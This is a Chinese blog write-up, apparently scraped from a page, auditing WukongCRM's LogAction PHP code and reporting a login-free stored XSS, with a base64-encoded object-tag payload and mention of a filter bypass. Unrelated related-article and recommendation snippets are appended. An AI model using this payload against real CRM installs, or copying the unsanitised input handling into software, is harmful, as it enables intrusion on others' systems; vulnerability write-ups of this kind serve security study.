无需登录-悟空CRM 存储型XSS

审计悟空的缘由是看见某云爆出CRM的getshell,于是就想着去挖出来瞅瞅!但可能自己把自己给局限了,就想着去挖那些无限制访问的文件。

故事的发生点
漏洞文件:/App/Lib/Action/LogAction.class.php
public function wxadd(){
        if($_POST['subject']){
            $log = M('Log');
            $log->create();
            $log->create_date = time();
            $log->update_date = time();
            
            $log->role_id = $_GET['id'];
            if($log->add()){
                $this->success(L('ADD SUCCESS', array(L('LOG'))));
            }else{
                $this->error(L('ADD_LOG_FAILED'));
            }
        }else{
            $this->display();
        }
    }
判断是否为post请求,如果条件为真则进入添加(这里要说一下,网站是开启了GPC的,但是存储入数据库时是进行了还原的)
public function index(){
        $m_log = M('Log');
        $m_comment = M('Comment');
        $where = array();
        $params = array();
        
        $order = "create_date desc";
        if($_GET['desc_order']){
            $order = trim($_GET['desc_order']).' desc';
        }elseif($_GET['asc_order']){
            $order = trim($_GET['asc_order']).' asc';
        }
        
        $below_ids = getSubRoleId(false);
        $all_ids = getSubRoleId();
        $module = isset($_GET['module']) ? trim($_GET['module']) : '';
        $by = isset($_GET['by']) ? trim($_GET['by']) : '';
        switch ($by) {
            case 'today' : $where['create_date'] =  array('gt',strtotime(date('Y-m-d', time()))); break;
            case 'week' : $where['create_date'] =  array('gt',(strtotime(date('Y-m-d', time())) - (date('N', time()) - 1) * 86400)); break;
            case 'month' : $where['create_date'] = array('gt',strtotime(date('Y-m-01', time()))); break;
            case 'add' : $order = 'create_date desc';  break;
            case 'update' : $order = 'update_date desc';  break;
            case 'sub' : $where['role_id'] = array('in',implode(',', $below_ids)); break;
            case 'me' : $where['role_id'] = session('role_id'); break;
            default :  $where['role_id'] = array('in',implode(',', $all_ids)); break;
        }
    
        if ($_GET['r'] && $_GET['module']){
            $m_r = M($_GET['r']);
            $log_ids = $m_r->getField('log_id', true);
            $where['log_id'] = array('in', implode(',', $log_ids));
        }

        if (!isset($where['role_id'])) {
            $where['role_id'] = array('in',implode(',', getSubRoleId()));
        }
        if(intval($_GET['type'])){
            $where['category_id'] = intval($_GET['type']);
        }else{
            $where['category_id'] = array('neq',1);
        }
        if ($_REQUEST["field"]) {
            $field = trim($_REQUEST['field']);
            $search = empty($_REQUEST['search']) ? '' : trim($_REQUEST['search']);
            $condition = empty($_REQUEST['condition']) ? 'eq' : trim($_REQUEST['condition']);
            if  ('create_date' == $field || 'update_date' == $field) {
                $search = strtotime($search);
            } elseif ('role_id' == $field) {
                $condtion = "is";
            }
            $params = array('field='.$_REQUEST['field'], 'condition='.$condition, 'search='.trim($_REQUEST["search"]));
            $field = trim($_REQUEST['field']) == 'all' ? 'subject|content' : $_REQUEST['field'];
            switch ($_REQUEST['condition']) {
                case "is" : $where[$field] = array('eq',$search);break;
                case "isnot" :  $where[$field] = array('neq',$search);break;
                case "contains" :  $where[$field] = array('like','%'.$search.'%');break;
                case "not_contain" :  $where[$field] = array('notlike','%'.$search.'%');break;
                case "start_with" :  $where[$field] = array('like',$search.'%');break;
                case "end_with" :  $where[$field] = array('like','%'.$search);break;
                case "is_empty" :  $where[$field] = array('eq','');break;
                case "is_not_empty" :  $where[$field] = array('neq','');break;
                case "gt" :  $where[$field] = array('gt',$search);break;
                case "egt" :  $where[$field] = array('egt',$search);break;
                case "lt" :  $where[$field] = array('lt',$search);break;
                case "elt" :  $where[$field] = array('elt',$search);break;
                case "eq" : $where[$field] = array('eq',$search);break;
                case "neq" : $where[$field] = array('neq',$search);break;
                case "between" : $where[$field] = array('between',array($search-1,$search+86400));break;
                case "nbetween" : $where[$field] = array('not between',array($search,$search+86399));break;
                case "tgt" :  $where[$field] = array('gt',$search+86400);break;

上一页      

                default : $where[$field] = array('eq',$search);
            }
        }
        $p = isset($_GET['p']) ? intval($_GET['p']) : 1 ;
        $list = $m_log->where($where)->page($p.',10')->order($order)->select();
        $count = $m_log->where($where)->count();
        import("@.ORG.Page");
        $Page = new Page($count,10);
        if (!empty($_REQUEST['by'])){
            $params['by'] = 'by=' . trim($_REQUEST['by']);
            
        }
        if (!empty($_REQUEST['r']) && !empty($_REQUEST['module'])) {
            $params['r'] = 'r=' . trim($_REQUEST['r']);
            $params['module'] = 'module=' . trim($_REQUEST['module']);
        }
        if (!empty($_REQUEST['type'])) {
            $params['type'] = 'type=' . trim($_REQUEST['type']);
        }
        
        $this->parameter = implode('&', $params);
        if ($_GET['desc_order']) {
            $params[] = "desc_order=" . trim($_GET['desc_order']);
        } elseif($_GET['asc_order']){
            $params[] = "asc_order=" . trim($_GET['asc_order']);
        }
        
        $Page->parameter = implode('&', $params);
        $show = $Page->show();     
        $this->assign('page',$show);
        foreach($list as $key=>$value){
            $list[$key]['creator'] = getUserByRoleId($value['role_id']);
            if($m_comment->where("module='log' and module_id=%d", $value['log_id'])->select()){
                $list[$key]['is_comment'] = 1;
            }
        }
        
        $this->category_list = M('LogCategory')->order('order_id')->select();
        //获取下级和自己的岗位列表,搜索用
        $d_role_view = D('RoleView');
        $this->role_list = $d_role_view->where('role.role_id in (%s)', implode(',', $below_ids))->select();
        
        $this->assign('list',$list);
        $this->alert = parseAlert();
        $this->display();
    }
首先要说下此为需要登录后的权限才能访问的页面,然后则是查询咱们log表中的内容,以正序的方式查询。最后用assign直接输出到了当前模板中0.0  我这里就简单的说明了。函数内容太多!!!一个个的说挺费劲的。说的不对希望指出
验证漏洞:
这里还感谢90群里面的roisatm表哥提供了一种绕过悟空CRM的webscan方法

未登录下可访问的页面
填入咱们的测试XSS
object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSm9zZXBoIik7PC9zY3JpcHQ+=">
/object>

没有拦截,只有顺畅的感觉就是棒棒哒
现在登录去后台看下

上一页     

无需登录-悟空CRM 存储型XSS的更多相关文章

  1. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  2. Java Web开发 - 持久型/存储型XSS漏洞

    Java Web开发 - 持久型/存储型XSS漏洞 1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧, ...

  3. 【代码审计】大米CMS_V5.5.3 后台多处存储型XSS漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. DVWA(七):XSS(stored)存储型XSS攻击

    存储型XSS : 存储XSS,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在.提交JS攻击代码存储到数据库然后再输出. low: 观察源码: <?php if( isset( ...

  5. 74CMS 3.0 存储型XSS漏洞

    一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...

  6. 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss

    转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...

  7. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  8. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  9. 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

随机推荐

  1. get mobile http request in PC & fiddler4

    get mobile http request in PC 如何在 pc 上抓取 手机的 http 请求 Fiddler 提琴手 https://www.telerik.com/download/fi ...

  2. html实现鼠标悬停变成手型实现方式

    1.采用a标签实现的方式 <a href="javascript:void()">内容</a> 2.采用CSS实现的方式 // 变手形 oElement.s ...

  3. 【Java并发编程】之十一:线程间通信中notify通知的遗漏

    notify通知的遗漏很容易理解,即threadA还没开始wait的时候,threadB已经notify了,这样,threadB通知是没有任何响应的,当threadB退出synchronized代码块 ...

  4. BZOJ2878 NOI2012迷失游乐园(树形dp+环套树+概率期望)

    考虑树的部分分怎么做.令f[i]为i向子树内走的期望路径长度,转移比较显然.算答案时先把其父亲的答案弄好就可以统计自己的答案了. 环套树也类似.树里直接dp,对环上点暴力考虑环上的每条路径,算完后再在 ...

  5. BZOJ3512 DZY Loves Math IV(杜教筛+线性筛)

    注意到n很小,考虑枚举i.现在要求的是f(n,m)=Σφ(in) (i=1~m).显然当n没有平方因子时,φ(in)=φ(i)·φ(n/gcd(i,n))·gcd(i,n).利用φ*1=id又可得φ( ...

  6. Java的顺序栈和链式栈

    栈的定义 栈是限制在表的一段进行插入和删除的运算的线性表,通常能够将插入.删除的一端为栈顶,例外一端称为栈底,当表中没有任何元素的时候称为空栈. 通常删除(又称"退栈")叫做弹出p ...

  7. Maximum Subarray - LeetCode

    目录 题目链接 注意点 解法 小结 题目链接 Maximum Subarray - LeetCode 注意点 最大值有可能是正负数交替着出现 解法 解法一:一次遍历即可.当sum小于0的时候就重新开始 ...

  8. 洛谷 P1356 数列的整数性 解题报告

    P1356 数列的整数性 题目描述 对于任意一个整数数列,我们可以在每两个整数中间任意放一个符号'+'或'-',这样就可以构成一个表达式,也就可以计算出表达式的值.比如,现在有一个整数数列:17,5, ...

  9. Mac上安装python3并设置SublimeREPL插件默认运行python3

    1.安装python3 $ brew search python $ brew install python3 这里安装完后不需要单独添加环境变量,程序已经处理好,可以直接运行python3命令. $ ...

  10. Java ConcurrentModificationException 异常分析与解决方案

    Java ConcurrentModificationException 异常分析与解决方案http://www.2cto.com/kf/201403/286536.html java.util.Co ...